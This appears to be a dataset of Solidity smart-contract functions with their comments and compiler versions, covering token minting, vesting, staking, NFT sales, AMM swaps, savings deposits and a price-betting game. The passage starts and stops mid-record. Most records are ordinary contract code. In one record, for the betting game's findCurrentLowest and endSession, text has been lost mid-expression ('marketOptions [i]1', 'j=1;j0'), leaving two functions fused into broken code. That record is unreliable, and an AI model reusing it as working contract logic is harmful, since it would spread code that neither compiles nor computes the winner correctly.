mint(bountyAddress, bountyTokens);\r\n \r\n mintingFinished = true;\r\n emit MintFinished();\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the data about a token.\r\n */", "function_code": "function getDataForTokenId(uint256 _tokenId) public view returns\r\n (\r\n uint,\r\n string,\r\n uint,\r\n uint,\r\n address,\r\n address,\r\n uint\r\n )\r\n {\r\n metaData storage meta = tokenToMetaData[_tokenId];\r\n return (\r\n _tokenId,\r\n meta.seed,\r\n meta.parent1,\r\n meta.parent2,\r\n ownerOf(_tokenId),\r\n getApproved(_tokenId),\r\n meta.remixCount\r\n );\r\n }", "version": "0.4.25"} {"comment": "// Converts uint to a string", "function_code": "function uint2str(uint i) internal pure returns (string){\r\n if (i == 0) return \"0\";\r\n uint j = i;\r\n uint length;\r\n while (j != 0){\r\n length++;\r\n j /= 10;\r\n }\r\n bytes memory bstr = new bytes(length);\r\n uint k = length - 1;\r\n while (i != 0){\r\n bstr[k--] = byte(48 + i % 10);\r\n i /= 10;\r\n }\r\n return string(bstr);\r\n }", "version": "0.4.25"} {"comment": "// Vesting Issue Function -----", "function_code": "function issue_Vesting_RND(address _to, uint _time) onlyOwner_creator public\r\n {\r\n require(saleTime == false);\r\n require(vestingReleaseRound_RND >= _time);\r\n \r\n uint time = now;\r\n require( ( ( endSaleTime + (_time * vestingReleaseTime_RND) ) < time ) && ( vestingRelease_RND[_time] > 0 ) );\r\n \r\n uint tokens = vestingRelease_RND[_time];\r\n\r\n require(maxSupply_RND >= issueToken_RND.add(tokens));\r\n \r\n balances[_to] = balances[_to].add(tokens);\r\n vestingRelease_RND[_time] = 0;\r\n \r\n issueToken_Total = issueToken_Total.add(tokens);\r\n issueToken_RND = issueToken_RND.add(tokens);\r\n \r\n emit Issue_RND(_to, tokens);\r\n }", "version": "0.5.0"} {"comment": "// accept ether subscription payments\n// only one time per address\n// msg.value = ticketPriceWei + expected future price format in wei\n// Example \n// 1. ticketPrice is 0.01 Ether \n// 2. Your future price prediction is 9588.25\n// 3. You send 0.1 + 0.0000000000958825\n// 4. The contract registers your prediction of 958825\n// 5. The contract pays you back get back 0.0000000000958825 Ether ", "function_code": "function() payable external {\r\n require(status == 0, 'closed');\r\n require(msg.value > ticketPriceWei && msg.value < ticketPriceWei + 10000000, 'invalid ticket price');\r\n require(futures[msg.sender] == 0, 'already in');\r\n uint future = msg.value - ticketPriceWei;\r\n futures[msg.sender] = future;\r\n subscribers.push(msg.sender);\r\n msg.sender.transfer(future);\r\n emit PriceBet(msg.sender, future, now);\r\n }", "version": "0.5.17"} {"comment": "// close subscription doors", "function_code": "function closeSubscriptions() public {\r\n require(msg.sender == factory, 'only factory');\r\n require(status == 0, 'wrong transition');\r\n status = 1;\r\n // in case of one+ subscribers\r\n // lunch the next solution timer\r\n if(subscribers.length == 0) {\r\n status = 2;\r\n distributeRewards();\r\n }\r\n emit RoundClose();\r\n }", "version": "0.5.17"} {"comment": "// if the execution did not happen after 24 hours\n// the beneficiary can withdraw total amount same share\n// equally with the subscribers", "function_code": "function rollback() public {\r\n \r\n // should be not distributed\r\n require(status < 3, 'already distributed');\r\n \r\n // only the beneficiary can do it\r\n require(msg.sender == beneficiary, 'only beneficiary');\r\n \r\n // at least 24H passed without execution\r\n uint unlockTime = created.add(executionDelay).add(24*3600);\r\n require(now >= unlockTime, 'still early');\r\n \r\n // the balance is normally distributed\r\n uint perShareWei = address(this).balance.div(subscribers.length);\r\n for(uint i = 0; i < subscribers.length; i++) {\r\n subscribers[i].transfer(perShareWei);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// set the solution and alarm the distribution\n// pay the factory and tell about the gas Limit", "function_code": "function executeResult(uint solution) public returns (uint gasLimit) {\r\n require(msg.sender == factory, 'only factory');\r\n require(status == 1, 'wrong transition');\r\n status = 2;\r\n winSolution = solution;\r\n emit RoundExecuted(winSolution);\r\n\r\n // default provable 20 GWei per Gas and 200 000 GAS \r\n uint PROVABLE_GAS_PRICE = 20e9 wei;\r\n\r\n // estimation for the factory\r\n uint estGas = subscribers.length*7000 + 300000;\r\n uint estWei = estGas.mul(PROVABLE_GAS_PRICE);\r\n\r\n // check up the available cost\r\n if(address(this).balance >= estWei) {\r\n // defaulting extras back to factory\r\n factory.transfer((estGas.sub(200000)).mul(PROVABLE_GAS_PRICE));\r\n return estGas;\r\n } else {\r\n // The factory covers DEFAULT PROVABLE GAS COST: 20GWEI * 200 000 GAS\r\n return 200000;\r\n }\r\n }", "version": "0.5.17"} {"comment": "// Blacklist Lock & Unlock functions.\n// Unlocking the blacklist requires a minimum of 3 days notice.", "function_code": "function unlockBlacklist(bool _limitedBlacklist, uint _daysUntilUnlock) external onlyOwner {\r\n require(_daysUntilUnlock > 2, \"Unlocking blacklist functionality requires a minimum of 3 days notice.\");\r\n blacklistUnlockTimestamp = now + (_daysUntilUnlock * 60 * 60 * 24);\r\n limitedBlacklist = _limitedBlacklist;\r\n blacklistPossible = true;\r\n emit BlacklistUnlockCalled(blacklistUnlockTimestamp, _daysUntilUnlock, limitedBlacklist);\r\n }", "version": "0.6.12"} {"comment": "//lock LOCK tokens to contract", "function_code": "function LockTokens(uint amt)\r\n public\r\n {\r\n require(amt > 0, \"zero input\");\r\n require(tokenBalance() >= amt, \"Error: insufficient balance\");//ensure user has enough funds\r\n tokenLockedBalances[msg.sender] = tokenLockedBalances[msg.sender].add(amt);\r\n totalLocked = totalLocked.add(amt);\r\n _transfer(msg.sender, address(this), amt);//make transfer\r\n emit TokenLock(msg.sender, amt);\r\n }", "version": "0.6.4"} {"comment": "//unlock LOCK tokens from contract", "function_code": "function UnlockTokens(uint amt)\r\n public\r\n {\r\n require(amt > 0, \"zero input\");\r\n require(tokenLockedBalances[msg.sender] >= amt,\"Error: unsufficient frozen balance\");//ensure user has enough locked funds\r\n tokenLockedBalances[msg.sender] = tokenLockedBalances[msg.sender].sub(amt);//update balances\r\n totalLocked = totalLocked.sub(amt);\r\n _transfer(address(this), msg.sender, amt);//make transfer\r\n emit TokenUnlock(msg.sender, amt);\r\n }", "version": "0.6.4"} {"comment": "//stakes hex - transfers HEX from user to contract - approval needed", "function_code": "function stakeHex(uint hearts, uint dayLength, address payable ref)\r\n internal\r\n returns(bool)\r\n {\r\n //send\r\n require(hexInterface.transferFrom(msg.sender, address(this), hearts), \"Transfer failed\");//send hex from user to contract\r\n //user info\r\n updateUserData(hearts);\r\n //stake HEX\r\n hexInterface.stakeStart(hearts, dayLength);\r\n //get the most recent stakeIndex\r\n uint hexStakeIndex = hexInterface.stakeCount(address(this)).sub(1);\r\n //update stake info\r\n updateStakeData(hearts, dayLength, ref, hexStakeIndex);\r\n //mint bonus LOCK tokens relative to HEX amount and stake length (stake for more than 20 days and get larger bonus)\r\n if(dayLength < 10){\r\n dayLength = 10;\r\n }\r\n require(mintLock(hearts * (dayLength / 100)), \"Error: could not mint tokens\");\r\n return true;\r\n }", "version": "0.6.4"} {"comment": "//updates user data", "function_code": "function updateUserData(uint hearts)\r\n internal\r\n {\r\n UserInfo storage user = users[msg.sender];\r\n lifetimeHeartsStaked += hearts;\r\n if(user.totalHeartsStaked == 0){\r\n userCount++;\r\n }\r\n user.totalHeartsStaked = user.totalHeartsStaked.add(hearts);//total amount of hearts staked by this user after fees\r\n user.userAddress = msg.sender;\r\n }", "version": "0.6.4"} {"comment": "//updates stake data", "function_code": "function updateStakeData(uint hearts, uint dayLength, address payable ref, uint index)\r\n internal\r\n {\r\n uint _stakeId = _next_stake_id();//new stake id\r\n userStakeIds[msg.sender].push(_stakeId);//update userStakeIds\r\n StakeInfo memory stake;\r\n stake.heartValue = hearts;//amount of hearts staked\r\n stake.dayLength = dayLength;//length of days staked\r\n stake.userAddress = msg.sender;//staker\r\n stake.refferer = ref;//referrer\r\n stake.hexStakeIndex = index;//hex contract stakeIndex\r\n SStore memory _stake = getStakeByIndex(address(this), stake.hexStakeIndex); //get stake from address and stakeindex\r\n stake.hexStakeId = _stake.stakeId;//hex contract stake id\r\n stake.stakeId = _stakeId;//hexlock contract stake id\r\n stake.stakeStartTimestamp = now;//timestamp stake started\r\n stake.isStaking = true;//stake is now staking\r\n stakes[_stakeId] = stake;//update data\r\n emit StakeStarted(\r\n hearts,\r\n dayLength,\r\n stake.hexStakeId\r\n );\r\n }", "version": "0.6.4"} {"comment": "//general stake info", "function_code": "function getStakeInfo(uint stakeId)\r\n public\r\n view\r\n returns(\r\n uint heartValue,\r\n uint stakeDayLength,\r\n uint hexStakeId,\r\n uint hexStakeIndex,\r\n address payable userAddress,\r\n address payable refferer,\r\n uint stakeStartTimestamp\r\n )\r\n {\r\n return(stakes[stakeId].heartValue, stakes[stakeId].dayLength, stakes[stakeId].hexStakeId, stakes[stakeId].hexStakeIndex, stakes[stakeId].userAddress, stakes[stakeId].refferer, stakes[stakeId].stakeStartTimestamp);\r\n }", "version": "0.6.4"} {"comment": "/**\r\n * @dev Add wallet that received pre-minted tokens to the list in the Governance contract.\r\n * The contract owner should be GovernanceProxy contract.\r\n * This Escrow contract address should be added to Governance contract (setEscrowContract).\r\n * @param wallet The address of wallet.\r\n */", "function_code": "function _addPremintedWallet(address wallet, uint256 groupId) internal {\r\n require(groupId < groups.length, \"Wrong group\");\r\n IGovernance(governanceContract).addPremintedWallet(wallet);\r\n inGroup[wallet] = groupId + 1; // groupId + 1 (0 - mean that wallet not added)\r\n groups[groupId].wallets.add(wallet); // add to the group\r\n }", "version": "0.6.12"} {"comment": "/**\n \t * @dev whitelist buy\n \t */", "function_code": "function whitelistBuy(\n\t\tuint256 qty,\n\t\tuint256 tokenId,\n\t\tbytes32[] calldata proof\n\t) external payable whenNotPaused {\n\t\trequire(qty <= 2, \"max 2\");\n\t\trequire(tokenPrice * qty == msg.value, \"exact amount needed\");\n\t\trequire(usedAddresses[msg.sender] + qty <= 2, \"max per wallet reached\");\n\t\trequire(block.timestamp > whitelistStartTime, \"not live\");\n\t\trequire(isTokenValid(msg.sender, tokenId, proof), \"invalid merkle proof\");\n\n\t\tusedAddresses[msg.sender] += qty;\n\n\t\t_safeMint(msg.sender, qty);\n\t}", "version": "0.8.11"} {"comment": "/**\n \t * @dev everyone can mint freely\n \t */", "function_code": "function buy(uint256 qty) external payable whenNotPaused {\n\t\trequire(tokenPrice * qty == msg.value, \"exact amount needed\");\n\t\trequire(qty < 6, \"max 5 at once\");\n\t\trequire(totalSupply() + qty <= maxSupply, \"out of stock\");\n\t\trequire(block.timestamp > publicSaleStartTime, \"not live\");\n\n\t\t_safeMint(msg.sender, qty);\n\t}", "version": "0.8.11"} {"comment": "/**\n \t * @dev verification function for merkle root\n \t */", "function_code": "function isTokenValid(\n\t\taddress _to,\n\t\tuint256 _tokenId,\n\t\tbytes32[] memory _proof\n\t) public view returns (bool) {\n\t\t// construct Merkle tree leaf from the inputs supplied\n\t\tbytes32 leaf = keccak256(abi.encodePacked(_to, _tokenId));\n\t\t// verify the proof supplied, and return the verification result\n\t\treturn _proof.verify(root, leaf);\n\t}", "version": "0.8.11"} {"comment": "//----------------------------------\n//----------- other code -----------\n//----------------------------------", "function_code": "function tokensOfOwner(address _owner) external view returns (uint256[] memory) {\n\t\tuint256 tokenCount = balanceOf(_owner);\n\t\tif (tokenCount == 0) {\n\t\t\treturn new uint256[](0);\n\t\t} else {\n\t\t\tuint256[] memory result = new uint256[](tokenCount);\n\t\t\tuint256 index;\n\t\t\tfor (index = 0; index < tokenCount; index++) {\n\t\t\t\tresult[index] = tokenOfOwnerByIndex(_owner, index);\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}", "version": "0.8.11"} {"comment": "// earnings withdrawal", "function_code": "function withdraw() public payable onlyOwner {\n\t\tuint256 _total_owner = address(this).balance;\n\n\t\t(bool all1, ) = payable(0xed6f9E7d3A94141E28cA5D1905d2EA9F085D00FA).call{\n\t\t\tvalue: (_total_owner * 1) / 3\n\t\t}(\"\"); //l\n\t\trequire(all1);\n\t\t(bool all2, ) = payable(0x318cbB40Fdaf1A2Ab545B957518cb95D7c18ED32).call{\n\t\t\tvalue: (_total_owner * 1) / 3\n\t\t}(\"\"); //sc\n\t\trequire(all2);\n\t\t(bool all3, ) = payable(0x831C6bF9562791480802055Eb51311f6EedCA783).call{\n\t\t\tvalue: (_total_owner * 1) / 3\n\t\t}(\"\"); //sp\n\t\trequire(all3);\n\t}", "version": "0.8.11"} {"comment": "/**\r\n * @dev internal function of `trade`.\r\n * It verifies user signature, transfer tokens from user and store tx hash to prevent replay attack.\r\n */", "function_code": "function _prepare(\r\n bool fromEth,\r\n IWETH weth,\r\n address _makerAddr,\r\n address _takerAssetAddr,\r\n address _makerAssetAddr,\r\n uint256 _takerAssetAmount,\r\n uint256 _makerAssetAmount,\r\n address _userAddr,\r\n address _receiverAddr,\r\n uint256 _salt,\r\n uint256 _deadline,\r\n bytes memory _sig\r\n ) internal returns (bytes32 transactionHash) {\r\n // Verify user signature\r\n // TRADE_WITH_PERMIT_TYPEHASH = keccak256(\"tradeWithPermit(address makerAddr,address takerAssetAddr,address makerAssetAddr,uint256 takerAssetAmount,uint256 makerAssetAmount,address userAddr,address receiverAddr,uint256 salt,uint256 deadline)\");\r\n transactionHash = keccak256(\r\n abi.encode(\r\n TRADE_WITH_PERMIT_TYPEHASH,\r\n _makerAddr,\r\n _takerAssetAddr,\r\n _makerAssetAddr,\r\n _takerAssetAmount,\r\n _makerAssetAmount,\r\n _userAddr,\r\n _receiverAddr,\r\n _salt,\r\n _deadline\r\n )\r\n );\r\n bytes32 EIP712SignDigest = keccak256(\r\n abi.encodePacked(\r\n EIP191_HEADER,\r\n EIP712_DOMAIN_SEPARATOR,\r\n transactionHash\r\n )\r\n );\r\n require(isValidSignature(_userAddr, EIP712SignDigest, bytes(\"\"), _sig), \"AMMWrapper: invalid user signature\");\r\n\r\n // Transfer asset from user and deposit to weth if needed\r\n if (fromEth) { \r\n require(msg.value > 0, \"AMMWrapper: msg.value is zero\");\r\n require(_takerAssetAmount == msg.value, \"AMMWrapper: msg.value doesn't match\");\r\n // Deposit ETH to weth\r\n weth.deposit{value: msg.value}();\r\n } else {\r\n spender.spendFromUser(_userAddr, _takerAssetAddr, _takerAssetAmount);\r\n }\r\n\r\n // Validate that the transaction is not seen before\r\n require(! permStorage.isTransactionSeen(transactionHash), \"AMMWrapper: transaction seen before\");\r\n // Set transaction as seen\r\n permStorage.setTransactionSeen(transactionHash);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev internal function of `trade`.\r\n * It executes the swap on chosen AMM.\r\n */", "function_code": "function _swap(\r\n bool makerIsUniV2,\r\n address _makerAddr,\r\n address _takerAssetAddr,\r\n address _makerAssetAddr,\r\n uint256 _takerAssetAmount,\r\n uint256 _makerAssetAmount,\r\n uint256 _deadline,\r\n uint256 _subsidyFactor\r\n ) internal returns (string memory source, uint256 receivedAmount) {\r\n // Approve\r\n IERC20(_takerAssetAddr).safeApprove(_makerAddr, _takerAssetAmount);\r\n\r\n // Swap\r\n // minAmount = makerAssetAmount * (10000 - subsidyFactor) / 10000\r\n uint256 minAmount = _makerAssetAmount.mul((BPS_MAX.sub(_subsidyFactor))).div(BPS_MAX);\r\n\r\n if (makerIsUniV2) {\r\n source = \"Uniswap V2\";\r\n receivedAmount = _tradeUniswapV2TokenToToken(_takerAssetAddr, _makerAssetAddr, _takerAssetAmount, minAmount, _deadline);\r\n } else {\r\n int128 fromTokenCurveIndex = permStorage.getCurveTokenIndex(_makerAddr, _takerAssetAddr);\r\n int128 toTokenCurveIndex = permStorage.getCurveTokenIndex(_makerAddr, _makerAssetAddr);\r\n if (! (fromTokenCurveIndex == 0 && toTokenCurveIndex == 0)) {\r\n source = \"Curve\";\r\n uint256 balanceBeforeTrade = IERC20(_makerAssetAddr).balanceOf(address(this));\r\n _tradeCurveTokenToToken(_makerAddr, fromTokenCurveIndex, toTokenCurveIndex, _takerAssetAmount, minAmount);\r\n uint256 balanceAfterTrade = IERC20(_makerAssetAddr).balanceOf(address(this));\r\n receivedAmount = balanceAfterTrade.sub(balanceBeforeTrade);\r\n } else {\r\n revert(\"AMMWrapper: Unsupported makerAddr\");\r\n }\r\n }\r\n\r\n // Close allowance\r\n IERC20(_takerAssetAddr).safeApprove(_makerAddr, 0);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev gets total ether claimed for characters in account.\r\n \t */", "function_code": "function _getTotalEtherClaimed(address account) public view returns (uint256) {\r\n\t\tuint256 totalEtherClaimed;\r\n\t\tuint256[] memory stakedPG = STAKING.getStakerTokens(account, address(PG));\r\n\t\tuint256[] memory stakedAP = STAKING.getStakerTokens(account, address(AP));\r\n\t\tfor (uint256 i; i < PG.balanceOf(account); i++) {\r\n\t\t\ttotalEtherClaimed += _etherClaimedByPG[PG.tokenOfOwnerByIndex(account, i)];\r\n\t\t}\r\n\t\tfor (uint256 i; i < stakedPG.length; i++) {\r\n\t\t\ttotalEtherClaimed += _etherClaimedByPG[stakedPG[i]];\r\n\t\t}\r\n\t\tfor (uint256 j; j < AP.balanceOf(account); j++) {\r\n\t\t\ttotalEtherClaimed += _etherClaimedByAP[AP.tokenOfOwnerByIndex(account, j)];\r\n\t\t}\r\n\t\tfor (uint256 j; j < stakedAP.length; j++) {\r\n\t\t\ttotalEtherClaimed += _etherClaimedByAP[stakedAP[j]];\r\n\t\t}\r\n\t\treturn totalEtherClaimed;\r\n\t}", "version": "0.8.0"} {"comment": "/**\r\n * @dev Deposit interest (add to savings) and update exchange rate of contract.\r\n * Exchange rate is calculated as the ratio between new savings q and credits:\r\n * exchange rate = savings / credits\r\n *\r\n * @param _amount Units of underlying to add to the savings vault\r\n */", "function_code": "function depositInterest(uint256 _amount)\r\n external\r\n onlySavingsManager\r\n {\r\n require(_amount > 0, \"Must deposit something\");\r\n\r\n // Transfer the interest from sender to here\r\n require(mUSD.transferFrom(msg.sender, address(this), _amount), \"Must receive tokens\");\r\n totalSavings = totalSavings.add(_amount);\r\n\r\n // Calc new exchange rate, protect against initialisation case\r\n if(totalCredits > 0) {\r\n // new exchange rate is relationship between totalCredits & totalSavings\r\n // exchangeRate = totalSavings/totalCredits\r\n exchangeRate = totalSavings.divPrecisely(totalCredits);\r\n\r\n emit ExchangeRateUpdated(exchangeRate, _amount);\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Deposit the senders savings to the vault, and credit them internally with \"credits\".\r\n * Credit amount is calculated as a ratio of deposit amount and exchange rate:\r\n * credits = underlying / exchangeRate\r\n * If automation is enabled, we will first update the internal exchange rate by\r\n * collecting any interest generated on the underlying.\r\n * @param _amount Units of underlying to deposit into savings vault\r\n * @return creditsIssued Units of credits issued internally\r\n */", "function_code": "function depositSavings(uint256 _amount)\r\n external\r\n returns (uint256 creditsIssued)\r\n {\r\n require(_amount > 0, \"Must deposit something\");\r\n\r\n if(automateInterestCollection) {\r\n // Collect recent interest generated by basket and update exchange rate\r\n ISavingsManager(_savingsManager()).collectAndDistributeInterest(address(mUSD));\r\n }\r\n\r\n // Transfer tokens from sender to here\r\n require(mUSD.transferFrom(msg.sender, address(this), _amount), \"Must receive tokens\");\r\n totalSavings = totalSavings.add(_amount);\r\n\r\n // Calc how many credits they receive based on currentRatio\r\n creditsIssued = _massetToCredit(_amount);\r\n totalCredits = totalCredits.add(creditsIssued);\r\n\r\n // add credits to balances\r\n creditBalances[msg.sender] = creditBalances[msg.sender].add(creditsIssued);\r\n\r\n emit SavingsDeposited(msg.sender, _amount, creditsIssued);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Redeem specific number of the senders \"credits\" in exchange for underlying.\r\n * Payout amount is calculated as a ratio of credits and exchange rate:\r\n * payout = credits * exchangeRate\r\n * @param _credits Amount of credits to redeem\r\n * @return massetReturned Units of underlying mAsset paid out\r\n */", "function_code": "function redeem(uint256 _credits)\r\n external\r\n returns (uint256 massetReturned)\r\n {\r\n require(_credits > 0, \"Must withdraw something\");\r\n\r\n uint256 saverCredits = creditBalances[msg.sender];\r\n require(saverCredits >= _credits, \"Saver has no credits\");\r\n\r\n creditBalances[msg.sender] = saverCredits.sub(_credits);\r\n totalCredits = totalCredits.sub(_credits);\r\n\r\n // Calc payout based on currentRatio\r\n massetReturned = _creditToMasset(_credits);\r\n totalSavings = totalSavings.sub(massetReturned);\r\n\r\n // Transfer tokens from here to sender\r\n require(mUSD.transfer(msg.sender, massetReturned), \"Must send tokens\");\r\n\r\n emit CreditsRedeemed(msg.sender, _credits, massetReturned);\r\n }", "version": "0.5.16"} {"comment": "//return (or revert) with a string in the given length", "function_code": "function checkReturnValues(uint len, bool doRevert) public view returns (string memory) {\n (this);\n string memory mesg = \"this is a long message that we are going to return a small part from. we don't use a loop since we want a fixed gas usage of the method itself.\";\n require( bytes(mesg).length>=len, \"invalid len: too large\");\n\n /* solhint-disable no-inline-assembly */\n //cut the msg at that length\n assembly { mstore(mesg, len) }\n require(!doRevert, mesg);\n return mesg;\n }", "version": "0.6.10"} {"comment": "/*\n * @param rawTransaction RLP encoded ethereum transaction\n * @return tuple (nonce,gasPrice,gasLimit,to,value,data)\n */", "function_code": "function decodeTransaction(bytes memory rawTransaction) internal pure returns (uint, uint, uint, address, uint, bytes memory){\n RLPReader.RLPItem[] memory values = rawTransaction.toRlpItem().toList(); // must convert to an rlpItem first!\n return (values[0].toUint(), values[1].toUint(), values[2].toUint(), values[3].toAddress(), values[4].toUint(), values[5].toBytes());\n }", "version": "0.6.10"} {"comment": "// Getter and Setter for ledger", "function_code": "function setLedger(uint8 _index, int _value) public {\r\n require(FD_AC.checkPermission(101, msg.sender));\r\n\r\n int previous = ledger[_index];\r\n ledger[_index] += _value;\r\n\r\n// --> debug-mode\r\n// LogInt(\"previous\", previous);\r\n// LogInt(\"ledger[_index]\", ledger[_index]);\r\n// LogInt(\"_value\", _value);\r\n// <-- debug-mode\r\n\r\n // check for int overflow\r\n if (_value < 0) {\r\n assert(ledger[_index] < previous);\r\n } else if (_value > 0) {\r\n assert(ledger[_index] > previous);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data)\n */", "function_code": "function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure {\n bytes memory data = abi.encode(status, ret);\n GsnEip712Library.truncateInPlace(data);\n\n assembly {\n let dataSize := mload(data)\n let dataPtr := add(data, 32)\n\n revert(dataPtr, dataSize)\n }\n }", "version": "0.6.10"} {"comment": "// updates the count for this player", "function_code": "function updatePlayCount() internal{\r\n // first time playing this share cycle?\r\n if(allPlayers[msg.sender].shareCycle!=shareCycle){\r\n allPlayers[msg.sender].playCount=0;\r\n allPlayers[msg.sender].shareCycle=shareCycle;\r\n insertCyclePlayer();\r\n }\r\n allPlayers[msg.sender].playCount++;\r\n // note we don't touch profitShare or winnings because they need to roll over cycles if unclaimed\r\n }", "version": "0.4.19"} {"comment": "// buy into syndicate", "function_code": "function buyIntoSyndicate() public payable {\r\n if(msg.value==0 || availableBuyInShares==0) revert();\r\n if(msg.value < minimumBuyIn*buyInSharePrice) revert();\r\n\r\n uint256 value = (msg.value/precision)*precision; // ensure precision\r\n uint256 allocation = value/buyInSharePrice;\r\n\r\n if (allocation >= availableBuyInShares){\r\n allocation = availableBuyInShares; // limit hit\r\n }\r\n availableBuyInShares-=allocation;\r\n addMember(msg.sender); // possibly add this member to the syndicate\r\n members[msg.sender].numShares+=allocation;\r\n }", "version": "0.4.19"} {"comment": "// main entry point for investors/players", "function_code": "function invest(uint256 optionNumber) public payable {\r\n\r\n // Check that the number is within the range (uints are always>=0 anyway)\r\n assert(optionNumber <= 9);\r\n uint256 amount = roundIt(msg.value); // round to precision\r\n assert(amount >= minimumStake);\r\n\r\n // check for zero tie-breaker transaction\r\n // in this case nobody wins and investment goes into next session.\r\n if (block.number >= endingBlock && currentLowestCount>1 && marketOptions[currentLowest]==0){\r\n endSession();\r\n // auto invest them in the lowest market option - reward for\r\n optionNumber = currentLowest;\r\n }\r\n\r\n uint256 holding = playerPortfolio[msg.sender][optionNumber];\r\n holding = SafeMath.add(holding, amount);\r\n playerPortfolio[msg.sender][optionNumber] = holding;\r\n\r\n marketOptions[optionNumber] = SafeMath.add(marketOptions[optionNumber],amount);\r\n\r\n numberOfInvestments += 1;\r\n totalInvested += amount;\r\n if (!activePlayers[msg.sender]){\r\n insertPlayer(msg.sender);\r\n activePlayers[msg.sender]=true;\r\n }\r\n\r\n Invest(msg.sender, optionNumber, amount, marketOptions, block.number);\r\n updatePlayCount(); // rank the player in leaderboard\r\n currentLowest = findCurrentLowest();\r\n\r\n // overtime and there's a winner\r\n if (block.number >= endingBlock && currentLowestCount==1){\r\n // somebody wins here.\r\n endSession();\r\n }\r\n\r\n }", "version": "0.4.19"} {"comment": "// end invest\n// find lowest option sets currentLowestCount>1 if there are more than 1 lowest", "function_code": "function findCurrentLowest() internal returns (uint lowestOption) {\r\n\r\n uint winner = 0;\r\n uint lowestTotal = marketOptions[0];\r\n currentLowestCount = 0;\r\n for(uint i=0;i<10;i++)\r\n {\r\n if (marketOptions [i]1){\r\n numberWinner = 10; // no winner\r\n }else{\r\n numberWinner = currentLowest;\r\n }\r\n\r\n // record the end of session\r\n for(uint j=1;j0){\r\n uint256 winningAmount = playerPortfolio[players[j]][numberWinner];\r\n uint256 winnings = SafeMath.mul(winningMultiplier,winningAmount); // n times the invested amount.\r\n sessionWinnings+=winnings;\r\n\r\n allocateWinnings(players[j],winnings); // allocate winnings\r\n\r\n Winning(players[j], winnings, sessionNumber, numberWinner,block.number); // we can pick this up on gui\r\n }\r\n playerPortfolio[players[j]] = [0,0,0,0,0,0,0,0,0,0];\r\n activePlayers[players[j]]=false;\r\n }\r\n\r\n EndSession(msg.sender, sessionNumber, numberWinner, marketOptions , block.number);\r\n\r\n uint256 playerInvestments = totalInvested-seedInvestment;\r\n\r\n if (sessionWinnings>playerInvestments){\r\n uint256 loss = sessionWinnings-playerInvestments; // this is a loss\r\n if (currentSyndicateValue>=loss){\r\n currentSyndicateValue-=loss;\r\n }else{\r\n currentSyndicateValue = 0;\r\n }\r\n }\r\n\r\n if (playerInvestments>sessionWinnings){\r\n currentSyndicateValue+=playerInvestments-sessionWinnings; // this is a gain\r\n }\r\n resetMarket();\r\n }", "version": "0.4.19"} {"comment": "// This Function is used to do Batch Mint.", "function_code": "function batchMint(address[] memory toAddresses, string[] memory newTokenURIS, uint256 _count) public onlyOwner {\r\n require(toAddresses.length > 0,\"To Addresses Cant Be null.\");\r\n require(newTokenURIS.length > 0,\"Token URIs Cant Be null\");\r\n require(_count > 0,\"Count Cant be Zero\");\r\n require(_tokenIdCounter.current() < MAX_RATS,\"All Tokens Have been minted.\");\r\n require(_tokenIdCounter.current() + _count <= MAX_RATS,\"Token count exceeds with available NFT's.\");\r\n require(_count <= maxMint,\"You have exceeded max mint count.\");\r\n require(newTokenURIS.length == _count, \"Token URI's & count does not match.\");\r\n\r\n for (uint256 i = 0; i < _count; i++) {\r\n \r\n _tokenIdCounter.increment();\r\n uint256 tokenId = _tokenIdCounter.current();\r\n _safeMint(toAddresses[i], tokenId);\r\n _setTokenURI(tokenId, newTokenURIS[i]);\r\n }\r\n }", "version": "0.8.11"} {"comment": "/*\r\n * @dev Used to get the tokensOfOwner.\r\n * @return uint256[] for tokensOfOwner.\r\n */", "function_code": "function tokensOfOwner(address _owner) external view returns (uint256[] memory ownerTokens) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n \r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 totalTokens = totalSupply();\r\n uint256 resultIndex = 0;\r\n\r\n // We count on the fact that all Rats have IDs starting at 1 and increasing\r\n // sequentially up to the totalCat count.\r\n uint256 tokensId;\r\n\r\n for (tokensId = 1; tokensId <= totalTokens; tokensId++) {\r\n if (ownerOf(tokensId) == _owner) {\r\n result[resultIndex] = tokensId;\r\n resultIndex++;\r\n }\r\n }\r\n\r\n return result;\r\n }\r\n }", "version": "0.8.11"} {"comment": "// return a list of bool, true means unstake", "function_code": "function unstakeCheck(address contractAddr, uint256[] calldata tokenIds) external view returns (bool[] memory) {\r\n require(tokenIds.length <= maxLoopSize,\"Staking: check stake size exceed\");\r\n uint256 contractId = whiteList[contractAddr];\r\n require(contractId > 0, \"Staking: contract not on whitelist\");\r\n bool[] memory stakeResult = new bool[](tokenIds.length);\r\n for (uint256 i = 0; i < tokenIds.length; i++) {\r\n if(tokenStorage[contractId][tokenIds[i]] == 0){\r\n stakeResult[i] = true;\r\n }\r\n }\r\n return stakeResult;\r\n }", "version": "0.8.4"} {"comment": "// ------------------------------------------------------------------------\n// YES! Accept ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(msg.value > 0);\r\n require(balances[address(this)] > msg.value * token_price);\r\n\r\n amount_eth += msg.value;\r\n uint tokens = msg.value * token_price;\r\n\r\n balances[address(this)] -= tokens;\r\n balances[msg.sender] += tokens;\r\n\r\n //SEND TO CONTRACT\r\n Transfer(address(this), msg.sender, address(this).balance);\r\n //SEND TO OWNER\r\n //owner.transfer(address(this).balance);\r\n\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev x to the power of y power(base, exponent)\r\n */", "function_code": "function pow(uint256 base, uint256 exponent) public pure returns (uint256) {\r\n if (exponent == 0) {\r\n return 1;\r\n }\r\n else if (exponent == 1) {\r\n return base;\r\n }\r\n else if (base == 0 && exponent != 0) {\r\n return 0;\r\n }\r\n else {\r\n uint256 z = base;\r\n for (uint256 i = 1; i < exponent; i++)\r\n z = mul(z, base);\r\n return z;\r\n }\r\n }", "version": 